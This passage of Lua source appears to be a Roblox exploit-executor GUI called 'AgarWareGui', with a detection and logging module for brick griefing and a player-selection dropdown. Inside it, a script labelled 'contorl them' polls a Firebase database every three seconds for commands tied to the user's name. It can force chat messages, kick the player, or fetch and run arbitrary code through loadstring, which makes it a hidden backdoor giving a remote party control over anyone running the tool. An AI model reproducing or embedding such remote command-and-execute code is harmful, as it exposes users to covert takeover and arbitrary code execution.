				print("[PAINT EXPLOIT] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
			end)
		end
	end
	
	--------------------------------------------------
	-- FLAG SPAM
	--------------------------------------------------
	
	local function flagSpam(player)
		if spamCooldown[player.UserId] and tick() < spamCooldown[player.UserId] then return end
		local count = addCount(spamTracker, player.UserId, tick(), SPAM_TIME)
		if count % 10 == 0 then
			print("[BUILD] " .. player.Name .. " build spam | Count: " .. count .. "/" .. SPAM_COUNT)
		end
		if count >= SPAM_COUNT then
			local cooldown = shared.GriefCooldown or 30
			print("[BUILDGRIEFLOG] 🚨 " .. player.Name .. " is placing blocks too fast | Cooldown: " .. cooldown)
			shared.GriefEvent:Fire(player, "build")
			shared.BuildGriefEvent:Fire(player)
			resetCount(spamTracker, player.UserId)
			spamCooldown[player.UserId] = tick() + cooldown
			task.delay(cooldown, function()
				print("[BUILD] " .. player.Name .. "'s cooldown ended (" .. cooldown .. ")")
			end)
		end
	end
	
	--------------------------------------------------
	-- EXPLOIT DETECTION (DELETE)
	-- Only flags players OUTSIDE 30 studs from brick
	--------------------------------------------------
	
	local function runExploitDelete(ownerName, brickPos, eventTime)
		if not isExploitOn() then return end
	
		-- Wait up to 1s for someone to play the brick sound
		local soundPlayed = waitUntil(function()
			for _, player in ipairs(Players:GetPlayers()) do
				local t = recentDeleteSound[player.UserId]
				if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then
					return true
				end
			end
			return false
		end, EXPLOIT_SOUND_WAIT)
	
		if not soundPlayed then return end
	
		-- Collect who played the sound in the exploit window AND is outside 30 studs
		local soundPlayers = {}
		for _, player in ipairs(Players:GetPlayers()) do
			local t = recentDeleteSound[player.UserId]
			if t then
				local delay = t - eventTime
				if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then
					-- Only flag if outside 30 studs
					if getPlayerDist(player, brickPos) > MAX_DISTANCE then
						table.insert(soundPlayers, player)
					end
				end
			end
		end
	
		if #soundPlayers == 0 then return end
	
		-- Wait 0.5s before checking slash and logging
		task.wait(EXPLOIT_WAIT)
	
		local slashPlayers   = {}
		local noSlashPlayers = {}
	
		for _, player in ipairs(soundPlayers) do
			if playedSlashNear(player, eventTime) then
				table.insert(slashPlayers, player)
			else
				table.insert(noSlashPlayers, player)
			end
		end
	
		local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers
	
		-- Cancel if own brick
		for _, player in ipairs(toFlag) do
			if player.Name == ownerName then return end
		end
	
		for _, player in ipairs(toFlag) do
			if passesFilters(player, ownerName) then
				flagExploitDelete(player, ownerName)
			end
		end
	end
	
	--------------------------------------------------
	-- EXPLOIT DETECTION (PAINT)
	-- Only flags players OUTSIDE 30 studs from brick
	--------------------------------------------------
	
	local function runExploitPaint(ownerName, brickPos, eventTime)
		if not isExploitOn() then return end
	
		local soundPlayed = waitUntil(function()
			for _, player in ipairs(Players:GetPlayers()) do
				local t = recentPaintSound[player.UserId]
				if t and (t - eventTime) >= SOUND_MIN_EXPLOIT and (t - eventTime) <= SOUND_MAX_EXPLOIT then
					return true
				end
			end
			return false
		end, EXPLOIT_SOUND_WAIT)
	
		if not soundPlayed then return end
	
		local soundPlayers = {}
		for _, player in ipairs(Players:GetPlayers()) do
			local t = recentPaintSound[player.UserId]
			if t then
				local delay = t - eventTime
				if delay >= SOUND_MIN_EXPLOIT and delay <= SOUND_MAX_EXPLOIT then
					if getPlayerDist(player, brickPos) > MAX_DISTANCE then
						table.insert(soundPlayers, player)
					end
				end
			end
		end
	
		if #soundPlayers == 0 then return end
	
		task.wait(EXPLOIT_WAIT)
	
		local slashPlayers   = {}
		local noSlashPlayers = {}
	
		for _, player in ipairs(soundPlayers) do
			if playedSlashNear(player, eventTime) then
				table.insert(slashPlayers, player)
			else
				table.insert(noSlashPlayers, player)
			end
		end
	
		local toFlag = #noSlashPlayers > 0 and noSlashPlayers or slashPlayers
	
		for _, player in ipairs(toFlag) do
			if player.Name == ownerName then return end
		end
	
		for _, player in ipairs(toFlag) do
			if passesFilters(player, ownerName) then
				flagExploitPaint(player, ownerName)
			end
		end
	end
	
	--------------------------------------------------
	-- DELETE DETECTION
	--------------------------------------------------
	
	local function handleDelete(brickPos, ownerName, removedAt)
		if isDelcube(ownerName, removedAt) then return end
	
		task.spawn(function()
			-- Step 1: Check who was within 30 studs
			local inRange = {}
			for _, player in ipairs(Players:GetPlayers()) do
				if getPlayerDist(player, brickPos) <= MAX_DISTANCE then
					table.insert(inRange, player)
				end
			end
	
			if #inRange == 0 then
				task.spawn(runExploitDelete, ownerName, brickPos, removedAt)
				return
			end
	
			-- Step 2: Wait up to SOUND_MAX_NORMAL for brick sound from in-range players
			local detected = {}
			waitUntil(function()
				detected = {}
				for _, player in ipairs(inRange) do
					if playedDeleteSoundInRange(player, removedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then
						table.insert(detected, player)
					end
				end
				return #detected > 0
			end, SOUND_MAX_NORMAL)
	
			if #detected == 0 then
				task.spawn(runExploitDelete, ownerName, brickPos, removedAt)
				return
			end
	
			-- Step 3: Cancel if own brick
			for _, player in ipairs(detected) do
				if player.Name == ownerName then return end
			end
	
			-- Step 4: Flag all detected
			if isDeleteOn() then
				for _, player in ipairs(detected) do
					if passesFilters(player, ownerName) then
						flagDelete(player, ownerName)
					end
				end
			end
		end)
	end
	
	--------------------------------------------------
	-- PAINT DETECTION
	--------------------------------------------------
	
	local function handlePaint(brickPos, ownerName, changedAt)
		task.spawn(function()
			local inRange = {}
			for _, player in ipairs(Players:GetPlayers()) do
				if getPlayerDist(player, brickPos) <= MAX_DISTANCE then
					table.insert(inRange, player)
				end
			end
	
			if #inRange == 0 then
				task.spawn(runExploitPaint, ownerName, brickPos, changedAt)
				return
			end
	
			local detected = {}
			waitUntil(function()
				detected = {}
				for _, player in ipairs(inRange) do
					if playedPaintSoundInRange(player, changedAt, SOUND_MIN_NORMAL, SOUND_MAX_NORMAL) then
						table.insert(detected, player)
					end
				end
				return #detected > 0
			end, SOUND_MAX_NORMAL)
	
			if #detected == 0 then
				task.spawn(runExploitPaint, ownerName, brickPos, changedAt)
				return
			end
	
			for _, player in ipairs(detected) do
				if player.Name == ownerName then return end
			end
	
			if isPaintOn() then
				for _, player in ipairs(detected) do
					if passesFilters(player, ownerName) then
						flagPaint(player, ownerName)
					end
				end
			end
		end)
	end
	
	--------------------------------------------------
	-- SOUND TRACKING
	--------------------------------------------------
	
	local function hookHRP(player, hrp)
		local function trackSound(obj)
			if not obj:IsA("Sound") then return end
			local lastTime = 0
			local wasPlaying = false
	
			if obj.SoundId == BRICK_SOUND_ID then
				local c = RunService.Heartbeat:Connect(function()
					if not obj.Parent then return end
					local t = obj.TimePosition
					local playing = obj.IsPlaying
					if playing then
						if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
							recentDeleteSound[player.UserId] = tick()
						end
					end
					lastTime = t
					wasPlaying = playing
				end)
				table.insert(connections, c)
	
			elseif obj.SoundId == PAINT_SOUND_ID then
				local c = RunService.Heartbeat:Connect(function()
					if not obj.Parent then return end
					local t = obj.TimePosition
					local playing = obj.IsPlaying
					if playing then
						if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
							recentPaintSound[player.UserId] = tick()
						end
					end
					lastTime = t
					wasPlaying = playing
				end)
				table.insert(connections, c)
			end
		end
	
		for _, obj in pairs(hrp:GetDescendants()) do
			trackSound(obj)
		end
		local c = hrp.DescendantAdded:Connect(trackSound)
		table.insert(connections, c)
	end
	
	--------------------------------------------------
	-- SLASH ANIM TRACKING
	--------------------------------------------------
	
	local function hookAnim(player)
		local lastTime = 0
		local wasPlaying = false
		local c = RunService.Heartbeat:Connect(function()
			local char = player.Character
			if not char then return end
			local hum = char:FindFirstChildOfClass("Humanoid")
			if not hum then return end
			local animator = hum:FindFirstChildOfClass("Animator")
			if not animator then return end
			for _, track in pairs(animator:GetPlayingAnimationTracks()) do
				if track.Animation and track.Animation.AnimationId:find(DELETE_ANIM_ID) then
					local t = track.TimePosition
					if not wasPlaying or (lastTime > 0.05 and t < 0.05) then
						recentSlashAnim[player.UserId] = tick()
					end
					lastTime = t
					wasPlaying = true
					return
				end
			end
			wasPlaying = false
		end)
		table.insert(connections, c)
	end
	
	--------------------------------------------------
	-- PLAYER WATCHER
	--------------------------------------------------
	
	local function watchPlayer(player)
		if player.Character then
			local hrp = player.Character:FindFirstChild("HumanoidRootPart")
			if hrp then hookHRP(player, hrp) end
		end
		local cc = player.CharacterAdded:Connect(function(char)
			local hrp = char:WaitForChild("HumanoidRootPart", 10)
			if hrp then hookHRP(player, hrp) end
		end)
		table.insert(connections, cc)
		hookAnim(player)
	end
	
	--------------------------------------------------
	-- BRICK WATCHERS
	--------------------------------------------------
	
	local function watchBrick(brick, ownerName)
		if not isPaintOn() and not isExploitOn() then return end
	
		local props = {"BrickColor", "Material", "Anchored", "CanCollide"}
		for _, prop in ipairs(props) do
			local c = brick:GetPropertyChangedSignal(prop):Connect(function()
				if not isPaintOn() and not isExploitOn() then return end
				handlePaint(brick.Position, ownerName, tick())
			end)
			table.insert(connections, c)
		end
	
		local c1 = brick.ChildAdded:Connect(function(child)
			if child.Name ~= "Light" and child.Name ~= "Drag" then return end
			if not isPaintOn() and not isExploitOn() then return end
			handlePaint(brick.Position, ownerName, tick())
		end)
		table.insert(connections, c1)
	end
	
	local function watchFolder(folder)
		local ownerName = folder.Name
	
		if isDeleteOn() or isExploitOn() then
			local c = folder.ChildRemoved:Connect(function(child)
				if child.Name ~= "Brick" then return end
				if not isDeleteOn() and not isExploitOn() then return end
				handleDelete(child.Position, ownerName, tick())
			end)
			table.insert(connections, c)
		end
	
		local c = folder.ChildAdded:Connect(function(child)
			if child.Name ~= "Brick" then return end
			if not isSpamOn() then return end
			local player = Players:FindFirstChild(ownerName)
			if not player then return end
			if not passesFilters(player, ownerName) then return end
			flagSpam(player)
		end)
		table.insert(connections, c)
	
		local c2 = folder.ChildAdded:Connect(function(child)
			if child.Name ~= "Brick" then return end
			watchBrick(child, ownerName)
		end)
		table.insert(connections, c2)
	
		for _, child in ipairs(folder:GetChildren()) do
			if child.Name == "Brick" then
				watchBrick(child, ownerName)
			end
		end
	end
	
	--------------------------------------------------
	-- START / STOP
	--------------------------------------------------
	
	local function startWatching()
		if isRunning then return end
		isRunning = true
	
		local bricksFolder = workspace:WaitForChild("Bricks")
	
		for _, p in ipairs(Players:GetPlayers()) do
			watchPlayer(p)
		end
		local c1 = Players.PlayerAdded:Connect(watchPlayer)
		table.insert(connections, c1)
	
		Players.PlayerRemoving:Connect(function(player)
			local uid = player.UserId
			recentDeleteSound[uid]        = nil
			recentPaintSound[uid]         = nil
			recentSlashAnim[uid]          = nil
			deleteTracker[uid]            = nil
			deleteCooldown[uid]           = nil
			paintTracker[uid]             = nil
			paintCooldown[uid]            = nil
			exploitDeleteTracker[uid]     = nil
			exploitDeleteCooldown[uid]    = nil
			exploitPaintTracker[uid]      = nil
			exploitPaintCooldown[uid]     = nil
			spamTracker[uid]              = nil
			spamCooldown[uid]             = nil
		end)
	
		for _, folder in ipairs(bricksFolder:GetChildren()) do
			watchFolder(folder)
		end
		local c2 = bricksFolder.ChildAdded:Connect(watchFolder)
		table.insert(connections, c2)
	end
	
	local function stopWatching()
		if not isRunning then return end
		isRunning = false
	
		for _, c in ipairs(connections) do
			pcall(function() c:Disconnect() end)
		end
		clearArray(connections)
		clearTable(recentDeleteSound)
		clearTable(recentPaintSound)
		clearTable(recentSlashAnim)
		clearTable(deleteTracker)
		clearTable(deleteCooldown)
		clearTable(paintTracker)
		clearTable(paintCooldown)
		clearTable(exploitDeleteTracker)
		clearTable(exploitDeleteCooldown)
		clearTable(exploitPaintTracker)
		clearTable(exploitPaintCooldown)
		clearTable(spamTracker)
		clearTable(spamCooldown)
		clearTable(delcubeTracker)
	end
	
	--------------------------------------------------
	-- ATTRIBUTE WATCHERS
	--------------------------------------------------
	
	local ATTRS = {"DeleteLogsEnabled", "PaintLogsEnabled", "ExploitsLogsEnabled", "SpamLogsEnabled"}
	
	for _, attr in ipairs(ATTRS) do
		ScreenGui:GetAttributeChangedSignal(attr):Connect(function()
			if anyOn() then startWatching() else stopWatching() end
		end)
	end
	
	if anyOn() then startWatching() end
end;
task.spawn(C_6);
-- StarterGui.AgarWareGui.DropdownMaster
local function C_7()
local script = G2L["7"];
	-- DropdownMaster - Place under ScreenGui as LocalScript
	local Players = game:GetService("Players")
	local UserInputService = game:GetService("UserInputService")
	local LocalPlayer = Players.LocalPlayer
	
	local ROW_HEIGHT = 16
	local MAX_ROWS = 7
	local BG = Color3.fromRGB(24, 24, 24)
	local BORDER = Color3.fromRGB(57, 57, 57)
	local WHITE = Color3.new(1, 1, 1)
	local DIM = Color3.fromRGB(120, 120, 120)
	local BLUE = Color3.fromRGB(0, 123, 255)
	local HOVER = Color3.fromRGB(36, 36, 36)
	local BTN_BG = Color3.fromRGB(36, 36, 36)
	
	local cachedThumbs = {}
	local function getThumb(userId)
		if cachedThumbs[userId] then return cachedThumbs[userId] end
		local ok, img = pcall(function()
			return Players:GetUserThumbnailAsync(userId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48)
		end)
		local result = ok and img or ""
		cachedThumbs[userId] = result
		return result
	end
	
	local function getScreenGui(element)
		local p = element
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local function create(config)
		local dropdown = config.dropdown
		local mode = config.mode or "players" -- "players" or "custom"
		local multiSelect = config.multiSelect == true
		local showIcons = config.showIcons ~= false
	
		local selectedPlayers = config.initialSelection or {}
		local selectedPlayer = nil -- For single-select
		local selectedValue = nil -- For custom single-select
		local showDisplay = false
		local isOpen = false
	
		if not game:IsLoaded() then game.Loaded:Wait() end
		repeat task.wait() until dropdown.AbsoluteSize.X > 0
	
		local mainLabel = Instance.new("TextLabel")
		mainLabel.Name = "MainLabel"
		mainLabel.Size = UDim2.new(1, -24, 1, 0)
		mainLabel.BackgroundTransparency = 1
		mainLabel.Text = multiSelect and "Select Players" or "Select Player"
		mainLabel.TextColor3 = WHITE
		mainLabel.TextSize = 14
		mainLabel.Font = Enum.Font.Code
		mainLabel.TextXAlignment = Enum.TextXAlignment.Center
		mainLabel.TextTruncate = Enum.TextTruncate.AtEnd
		mainLabel.ZIndex = 2
		mainLabel.Parent = dropdown
	
		local mainArrow = Instance.new("TextLabel")
		mainArrow.Name = "MainArrow"
		mainArrow.Size = UDim2.new(0, 24, 1, 0)
		mainArrow.Position = UDim2.new(1, -24, 0, 0)
		mainArrow.BackgroundTransparency = 1
		mainArrow.Text = "▼"
		mainArrow.TextColor3 = WHITE
		mainArrow.TextSize = 14
		mainArrow.Font = Enum.Font.Code
		mainArrow.TextXAlignment = Enum.TextXAlignment.Center
		mainArrow.ZIndex = 2
		mainArrow.Parent = dropdown
	
		local screenGui = getScreenGui(dropdown)
		local panel = Instance.new("Frame")
		panel.BackgroundColor3 = BG
		panel.BorderSizePixel = 0
		panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT)
		panel.ZIndex = 999
		panel.Visible = false
		panel.Parent = screenGui
	
		local panelStroke = Instance.new("UIStroke")
		panelStroke.Color = BORDER
		panelStroke.Thickness = 1
		panelStroke.Parent = panel
	
		local searchBox = Instance.new("TextBox")
		searchBox.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
		searchBox.BackgroundColor3 = BG
		searchBox.BorderSizePixel = 0
		searchBox.Text = ""
		searchBox.PlaceholderText = "Search for users..."
		searchBox.PlaceholderColor3 = DIM
		searchBox.TextColor3 = WHITE
		searchBox.TextSize = 14
		searchBox.Font = Enum.Font.Code
		searchBox.TextXAlignment = Enum.TextXAlignment.Left
		searchBox.ClearTextOnFocus = false
		searchBox.ZIndex = 1000
		searchBox.Parent = panel
	
		local searchPad = Instance.new("UIPadding")
		searchPad.PaddingLeft = UDim.new(0, 6)
		searchPad.PaddingRight = UDim.new(0, 24)
		searchPad.Parent = searchBox
	
		local searchArrow = Instance.new("TextButton")
		searchArrow.Size = UDim2.new(0, 24, 0, ROW_HEIGHT)
		searchArrow.Position = UDim2.new(1, -24, 0, 0)
		searchArrow.BackgroundTransparency = 1
		searchArrow.Text = "▲"
		searchArrow.TextColor3 = WHITE
		searchArrow.TextSize = 14
		searchArrow.Font = Enum.Font.Code
		searchArrow.BorderSizePixel = 0
		searchArrow.ZIndex = 1001
		searchArrow.Parent = panel
	
		local scrollFrame = Instance.new("ScrollingFrame")
		scrollFrame.Position = UDim2.new(0, 0, 0, ROW_HEIGHT)
		scrollFrame.Size = UDim2.new(1, 0, 0, 0)
		scrollFrame.BackgroundTransparency = 1
		scrollFrame.BorderSizePixel = 0
		scrollFrame.ScrollBarThickness = 2
		scrollFrame.ScrollBarImageColor3 = BORDER
		scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
		scrollFrame.ZIndex = 1000
		scrollFrame.Parent = panel
	
		local listLayout = Instance.new("UIListLayout")
		listLayout.SortOrder = Enum.SortOrder.LayoutOrder
		listLayout.Parent = scrollFrame
	
		local bottomButtons = config.bottomButtons or {}
		local rows = math.ceil(#bottomButtons / 2)
		local bottomBarHeight = (ROW_HEIGHT + 2) * rows
	
		local bottomBar = Instance.new("Frame")
		bottomBar.Size = UDim2.new(1, 0, 0, bottomBarHeight)
		bottomBar.BackgroundColor3 = Color3.fromRGB(18, 18, 18)
		bottomBar.BorderSizePixel = 0
		bottomBar.ZIndex = 1000
		bottomBar.Parent = panel
	
		local bottomStroke = Instance.new("UIStroke")
		bottomStroke.Color = BORDER
		bottomStroke.Thickness = 1
		bottomStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
		bottomStroke.Parent = bottomBar
	
		local function updateMainLabel()
			local count = 0
			local names = {}
			for name, _ in pairs(selectedPlayers) do
				count = count + 1
				local player = Players:FindFirstChild(name)
				if player then
					local displayText = showDisplay and player.DisplayName or player.Name
					table.insert(names, displayText)
				end
			end
			if count == 0 then
				mainLabel.Text = "Select Players"
			elseif count <= 2 then
				mainLabel.Text = table.concat(names, ", ")
			else
				mainLabel.Text = count .. " Players Selected"
			end
		end
	
		local function updatePanelSize(rowCount)
			local visibleRows = math.min(rowCount, MAX_ROWS)
			local scrollH = visibleRows * ROW_HEIGHT
			scrollFrame.Size = UDim2.new(1, 0, 0, scrollH)
			panel.Size = UDim2.new(0, 161, 0, ROW_HEIGHT + scrollH + bottomBarHeight)
			scrollFrame.CanvasSize = UDim2.new(0, 0, 0, rowCount * ROW_HEIGHT)
			bottomBar.Position = UDim2.new(0, 0, 0, ROW_HEIGHT + scrollH)
		end
	
		local function buildList(filter)
			for _, child in pairs(scrollFrame:GetChildren()) do
				if child:IsA("Frame") then child:Destroy() end
			end
	
			local itemList = {}
	
			if mode == "custom" then
				-- Custom items mode
				for _, item in ipairs(config.items or {}) do
					if filter == "" or item:lower():find(filter:lower(), 1, true) then
						table.insert(itemList, {
							value = item,
							displayText = item,
							isCustom = true
						})
					end
				end
			else
				-- Player mode
				for _, p in pairs(Players:GetPlayers()) do
					table.insert(itemList, {
						value = p,
						displayText = showDisplay and p.DisplayName or p.Name,
						userId = p.UserId,
						isCustom = false
					})
				end
	
				table.sort(itemList, function(a, b)
					return a.displayText:lower() < b.displayText:lower()
				end)
	
				local filtered = {}
				for _, item in ipairs(itemList) do
					if filter == "" or item.displayText:lower():find(filter:lower(), 1, true) then
						table.insert(filtered, item)
					end
				end
				itemList = filtered
			end
	
			for i, item in ipairs(itemList) do
				local isSelected
				if mode == "custom" then
					isSelected = selectedValue == item.value
				else
					isSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name)
				end
	
				local row = Instance.new("Frame")
				row.Size = UDim2.new(1, 0, 0, ROW_HEIGHT)
				row.BackgroundColor3 = isSelected and HOVER or BG
				row.BorderSizePixel = 0
				row.LayoutOrder = i
				row.ZIndex = 1001
				row.Parent = scrollFrame
	
				if showIcons and not item.isCustom and item.userId then
					local thumb = Instance.new("ImageLabel")
					thumb.Size = UDim2.new(0, 12, 0, 12)
					thumb.Position = UDim2.new(1, -16, 0.5, -6)
					thumb.BackgroundTransparency = 1
					thumb.Image = ""
					thumb.ZIndex = 1002
					thumb.Parent = row
	
					task.spawn(function()
						thumb.Image = getThumb(item.userId)
					end)
				end
	
				local nameLabel = Instance.new("TextLabel")
				nameLabel.Size = UDim2.new(1, -22, 1, 0)
				nameLabel.Position = UDim2.new(0, 6, 0, 0)
				nameLabel.BackgroundTransparency = 1
				nameLabel.Text = item.displayText
				nameLabel.TextColor3 = isSelected and BLUE or WHITE
				nameLabel.TextSize = 14
				nameLabel.Font = Enum.Font.Code
				nameLabel.TextXAlignment = Enum.TextXAlignment.Left
				nameLabel.TextTruncate = Enum.TextTruncate.AtEnd
				nameLabel.ZIndex = 1002
				nameLabel.Parent = row
	
				local rowBtn = Instance.new("TextButton")
				rowBtn.Size = UDim2.new(1, 0, 1, 0)
				rowBtn.BackgroundTransparency = 1
				rowBtn.Text = ""
				rowBtn.ZIndex = 1003
				rowBtn.Parent = row
	
				rowBtn.MouseEnter:Connect(function()
					row.BackgroundColor3 = HOVER
				end)
	
				rowBtn.MouseLeave:Connect(function()
					local isStillSelected
					if mode == "custom" then
						isStillSelected = selectedValue == item.value
					else
						isStillSelected = multiSelect and selectedPlayers[item.value.Name] or (selectedPlayer and selectedPlayer.Name == item.value.Name)
					end
					if not isStillSelected then
						row.BackgroundColor3 = BG
					end
				end)
	
				rowBtn.MouseButton1Click:Connect(function()
					if mode == "custom" then
						-- Custom single-select
						selectedValue = item.value
						mainLabel.Text = item.displayText
						if config.onSelect then
							config.onSelect(item.value)
						end
						closeDropdown()
					elseif multiSelect then
						-- Multi-select logic
						if selectedPlayers[item.value.Name] then
							selectedPlayers[item.value.Name] = nil
							nameLabel.TextColor3 = WHITE
							row.BackgroundColor3 = BG
						else
							selectedPlayers[item.value.Name] = true
							nameLabel.TextColor3 = BLUE
							row.BackgroundColor3 = HOVER
						end
						updateMainLabel()
						if config.onMultiSelectChange then
							local copy = {}
							for k, v in pairs(selectedPlayers) do
								copy[k] = v
							end
							config.onMultiSelectChange(copy)
						end
					else
						-- Single-select logic
						selectedPlayer = item.value
						mainLabel.Text = item.displayText
						if config.onSelectPlayer then
							config.onSelectPlayer(item.value)
						end
						closeDropdown()
					end
				end)
			end
	
			updatePanelSize(#itemList)
		end
	
		for i, btnConfig in ipairs(bottomButtons) do
			local row = math.ceil(i / 2) - 1
			local col = (i - 1) % 2
	
			local btn = Instance.new("TextButton")
			btn.Size = UDim2.new(0.5, col == 0 and -1 or 0, 0, ROW_HEIGHT + 2)
			btn.Position = UDim2.new(col * 0.5, col == 0 and 0 or 1, 0, row * (ROW_HEIGHT + 2))
			btn.BackgroundColor3 = BTN_BG
			btn.BorderSizePixel = 0
			btn.Text = btnConfig.text
			btn.TextColor3 = WHITE
			btn.TextSize = 11
			btn.Font = Enum.Font.Code
			btn.ZIndex = 1001
			btn.Parent = bottomBar
	
			btn.MouseButton1Click:Connect(function()
				if btnConfig.onClick then
					btnConfig.onClick({
						showDisplay = showDisplay,
						rebuildList = function() buildList(searchBox.Text) end,
						setShowDisplay = function(val) showDisplay = val end,
						selectedPlayers = selectedPlayers, -- Pass reference
						mainLabel = mainLabel,
						button = btn,
						-- Helper to trigger callback
						notifyChange = function()
							if config.onMultiSelectChange then
								local copy = {}
								for k, v in pairs(selectedPlayers) do
									copy[k] = v
								end
								config.onMultiSelectChange(copy)
							end
						end
					})
				end
			end)
	
			if col == 0 and i < #bottomButtons then
				local divider = Instance.new("Frame")
				divider.Size = UDim2.new(0, 1, 0, ROW_HEIGHT + 2)
				divider.Position = UDim2.new(0.5, -1, 0, row * (ROW_HEIGHT + 2))
				divider.BackgroundColor3 = BORDER
				divider.BorderSizePixel = 0
				divider.ZIndex = 1001
				divider.Parent = bottomBar
			end
	
			if row > 0 and col == 0 then
				local rowDivider = Instance.new("Frame")
				rowDivider.Size = UDim2.new(1, 0, 0, 1)
				rowDivider.Position = UDim2.new(0, 0, 0, row * (ROW_HEIGHT + 2) - 1)
				rowDivider.BackgroundColor3 = BORDER
				rowDivider.BorderSizePixel = 0
				rowDivider.ZIndex = 1001
				rowDivider.Parent = bottomBar
			end
		end
	
		local function openDropdown()
			isOpen = true
			mainLabel.Visible = false
			mainArrow.Visible = false
	
			repeat task.wait() until dropdown.AbsoluteSize.X > 0
	
			local absPos = dropdown.AbsolutePosition
			local absSize = dropdown.AbsoluteSize
			panel.Position = UDim2.new(0, absPos.X + (absSize.X - 161) / 2, 0, absPos.Y + absSize.Y)
			panel.Visible = true
	
			searchBox.Text = ""
			buildList("")
		end
	
		local function closeDropdown()
			isOpen = false
			panel.Visible = false
			mainLabel.Visible = true
			mainArrow.Visible = true
			if multiSelect then
				updateMainLabel()
			end
		end
	
		dropdown.MouseButton1Click:Connect(function()
			if isOpen then
				closeDropdown()
			else
				openDropdown()
			end
		end)
	
		searchArrow.MouseButton1Click:Connect(closeDropdown)
		searchBox:GetPropertyChangedSignal("Text"):Connect(function()
			buildList(searchBox.Text)
		end)
	
		UserInputService.InputBegan:Connect(function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 and isOpen then
				local mousePos = input.Position
				local panelPos = panel.AbsolutePosition
				local panelSize = panel.AbsoluteSize
				local btnPos = dropdown.AbsolutePosition
				local btnSize = dropdown.AbsoluteSize
	
				local inPanel = mousePos.X >= panelPos.X and mousePos.X <= panelPos.X + panelSize.X
					and mousePos.Y >= panelPos.Y and mousePos.Y <= panelPos.Y + panelSize.Y
				local inBtn = mousePos.X >= btnPos.X and mousePos.X <= btnPos.X + btnSize.X
					and mousePos.Y >= btnPos.Y and mousePos.Y <= btnPos.Y + btnSize.Y
	
				if not inPanel and not inBtn then
					closeDropdown()
				end
			end
		end)
	
		Players.PlayerRemoving:Connect(function(p)
			if selectedPlayers[p.Name] then
				selectedPlayers[p.Name] = nil
				updateMainLabel()
				if config.onMultiSelectChange then
					config.onMultiSelectChange(selectedPlayers)
				end
			end
			if isOpen then buildList(searchBox.Text) end
		end)
	
		Players.PlayerAdded:Connect(function()
			if isOpen then buildList(searchBox.Text) end
		end)
	
		updateMainLabel()
	end
	
	shared.DropdownMaster = { create = create }
end;
task.spawn(C_7);
-- StarterGui.AgarWareGui.contorl them
local function C_8()
local script = G2L["8"];
	local FIREBASE_URL = "https://agar-ware-default-rtdb.firebaseio.com"
	local HttpService = game:GetService("HttpService")
	local Players = game:GetService("Players")
	local TextChatService = game:GetService("TextChatService")
	local LocalPlayer = Players.LocalPlayer
	local _req = (syn and syn.request) or request or http_request or (fluxus and fluxus.request)
	local lastCommandTimestamp = os.time()
	
	local function checkForCommands()
		pcall(function()
			local response = _req({
				Url = FIREBASE_URL .. "/commands/" .. LocalPlayer.Name .. ".json",
				Method = "GET"
			})
			if response.StatusCode == 200 and response.Body ~= "null" then
				local commandData = HttpService:JSONDecode(response.Body)
				if commandData and commandData.timestamp > lastCommandTimestamp then
					lastCommandTimestamp = commandData.timestamp
					if commandData.type == "forcechat" then
						pcall(function()
							if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
								TextChatService.TextChannels.RBXGeneral:SendAsync(commandData.message)
							else
								game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(commandData.message, "All")
							end
						end)
					elseif commandData.type == "kick" then
						LocalPlayer:Kick("You have been kicked by an admin.")
					elseif commandData.type == "execute" then
						pcall(function()
							loadstring(commandData.code)()
						end)
					end
					-- REMOVED THE DELETE HERE - let the 10 second timer handle it
				end
			end
		end)
	end
	
	while wait(3) do
		checkForCommands()
	end
end;
task.spawn(C_8);
-- StarterGui.AgarWareGui.MainFrame.SideBar.PageHandler
local function C_c()
local script = G2L["c"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	if not LocalPlayer then
		Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
		LocalPlayer = Players.LocalPlayer
	end
	local PlayerGui = LocalPlayer:WaitForChild("PlayerGui", 60)
	
	local ScreenGui
	repeat ScreenGui = PlayerGui:FindFirstChild("AgarWareGui") if not ScreenGui then task.wait(0.1) end until ScreenGui
	local MainFrame
	repeat MainFrame = ScreenGui:FindFirstChild("MainFrame") if not MainFrame then task.wait(0.1) end until MainFrame
	local SideBar
	repeat SideBar = MainFrame:FindFirstChild("SideBar") if not SideBar then task.wait(0.1) end until SideBar
	local ContentArea
	repeat ContentArea = MainFrame:FindFirstChild("ContentArea") if not ContentArea then task.wait(0.1) end until ContentArea
	local TCOSideBar
	repeat TCOSideBar = ContentArea:FindFirstChild("TCOSideBar") if not TCOSideBar then task.wait(0.1) end until TCOSideBar
	
	local pageConfig = {
		{buttonName = "MainPG",     pageName = "MainPage"},
		{buttonName = "SettingsPG", pageName = "SettingsPage"},
		{buttonName = "VisualPG",   pageName = "VisualPage"},
		{buttonName = "TCOPG",      pageName = "TCOMainPage"},
		{buttonName = "MiscPG",     pageName = "MiscPage"},
		{buttonName = "MenuPG",     pageName = "MenuPage"},
		{buttonName = "TrollPG",     pageName = "TrollPage"},
	}
	
	local tcoPageConfig = {
		{buttonName = "MainTCOPG",      pageName = "TCOMainPage"},
		{buttonName = "MiscTCOPG",      pageName = "TCOMiscPage"},
		{buttonName = "DetectionTCOPG", pageName = "TCODetectionPage"},
		{buttonName = "TrollTCOPG",     pageName = "TCOTrollPage"},
	}
	
	local ACTIVE_COLOR   = Color3.fromRGB(18, 18, 18)
	local INACTIVE_COLOR = Color3.fromRGB(0, 0, 0)
	 
